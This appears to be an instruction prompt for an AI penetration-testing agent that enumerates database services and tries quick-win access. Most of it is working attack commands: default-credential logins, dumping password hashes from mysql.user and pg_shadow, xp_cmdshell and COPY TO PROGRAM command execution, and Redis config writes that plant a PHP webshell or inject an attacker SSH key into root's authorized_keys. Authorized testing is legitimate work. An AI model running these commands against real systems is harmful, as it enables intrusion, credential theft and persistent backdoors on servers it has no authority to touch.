Database service enumeration and quick-win access checks for MSSQL, MySQL, PostgreSQL, Oracle, MongoDB, and Redis. Checks default/empty passwords, unauthenticated access, and command execution capabilities. Use after network-recon identifies database ports.
You are helping a penetration tester enumerate database services and check for quick-win access. All testing is under explicit written authorization.
Check for ./engagement/ directory. If present, print
[database-enumeration] Activated → <target> on activation and save significant
output to engagement/evidence/ (e.g., mssql-ntlm-info.txt).
This skill covers database enumeration and quick-win access checks only.
Call get_state_summary() on activation. Skip services already enumerated.
Leverage any known credentials.
State writes — write critical discoveries immediately:
add_credential()add_vuln(severity="high")add_vuln(severity="critical")add_vuln(severity="high")add_pivot()Report all findings in your return summary as well (orchestrator deduplicates).
When running database queries via interactive shell sessions (send_command / read_output), large result sets create many round-trip cycles as output arrives incrementally. For queries that may return more than a few rows, redirect output to a file on the target and read it once:
# BAD — inline capture, multiple read_output cycles for large results
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;"
# GOOD — write to file, read once
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;" > /tmp/db_users.txt 2>&1
wc -l /tmp/db_users.txt # Check size before reading
cat /tmp/db_users.txt # Single read
# For very large tables, preview first
mysql -h TARGET -u user -p'pass' -e "SELECT COUNT(*) FROM users;" > /tmp/db_count.txt 2>&1
cat /tmp/db_count.txt
# If >1000 rows, use LIMIT or targeted queries instead of full dump
This applies to all database clients (mysql, psql, mssqlclient.py, mongosh).
Clean up temp files when done: rm /tmp/db_*.txt.
The orchestrator passes a port list. Only run sections for ports that are open on the target. Skip all other sections entirely.
nmap -sV -p1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password,ms-sql-ntlm-info TARGET_IP
# sa empty/default password checks
netexec mssql TARGET_IP -u sa -p '' --local-auth
netexec mssql TARGET_IP -u sa -p 'sa' --local-auth
netexec mssql TARGET_IP -u sa -p 'password' --local-auth
If sa access is gained, check xp_cmdshell:
mssqlclient.py sa:''@TARGET_IP -windows-auth
# In SQL shell: enable_xp_cmdshell / xp_cmdshell whoami
State write: sa creds → add_credential(service="mssql") · NTLM info → add_pivot() · xp_cmdshell → add_vuln(severity="critical")
nmap -sV -p3306 --script mysql-info,mysql-enum,mysql-empty-password,mysql-vuln* TARGET_IP
# Root empty password
mysql -h TARGET_IP -u root -p'' -e "SELECT user,host,authentication_string FROM mysql.user;"
mysql -h TARGET_IP -u root -e "SELECT user,host,authentication_string FROM mysql.user;"
If root access is gained, check for command execution:
mysql -h TARGET_IP -u root -p'' -e "SELECT @@plugin_dir; SELECT * FROM mysql.func;"
mysql -h TARGET_IP -u root -p'' -e "SHOW GRANTS FOR CURRENT_USER();"
State write: root creds → add_credential(service="mysql") · UDF/FILE privilege → add_vuln(severity="critical")
nmap -sV -p5432 --script pgsql-brute TARGET_IP
psql -h TARGET_IP -U postgres -d postgres -c "SELECT usename, passwd FROM pg_shadow;"
If postgres access is gained:
psql -h TARGET_IP -U postgres -c "SELECT current_setting('is_superuser');"
psql -h TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"
State write: postgres creds → add_credential(service="postgresql") · trust auth → add_vuln(severity="high") · COPY PROGRAM → add_vuln(severity="critical")
nmap -sV -p1521 --script oracle-sid-brute,oracle-tns-version TARGET_IP
odat sidguesser -s TARGET_IP
odat all -s TARGET_IP -p 1521
Default credentials: SCOTT/TIGER, SYS/CHANGE_ON_INSTALL, SYSTEM/MANAGER.
State write: default creds → add_credential(service="oracle") · DBA access → add_vuln(severity="critical")
nmap -sV -p27017 --script mongodb-info,mongodb-databases TARGET_IP
mongosh --host TARGET_IP --eval "show dbs"
mongosh --host TARGET_IP --eval "db.adminCommand({listDatabases:1})"
State write: unauthenticated access → add_vuln(name="MongoDB unauthenticated access", severity="high")
nmap -sV -p6379 --script redis-info TARGET_IP
redis-cli -h TARGET_IP info
redis-cli -h TARGET_IP config get dir
If unauthenticated access is confirmed, try RCE via config writes:
# Webshell write (if web root is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /var/www/html/
config set dbfilename shell.php
set payload "<?php system($_GET['cmd']); ?>"
save
REDIS
# SSH key injection (if /root/.ssh/ is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\nssh-ed25519 AAAA... attacker@host\n\n"
save
REDIS
# Check SLAVEOF replication for replication-based RCE
redis-cli -h TARGET_IP info replication
State write: unauth access → add_vuln(severity="high") · webshell/SSH key written → add_vuln(severity="critical")
Note the port as filtered and move to the next service.
Try --default-auth=mysql_native_password for caching_sha2_password errors.
PostgreSQL rejects connections from this IP. Note as blocked (not retryable).
Return to orchestrator. Oracle enumeration limited to nmap NSE without odat.
Redis requires auth. Try redis, empty string, password. If all fail, move on.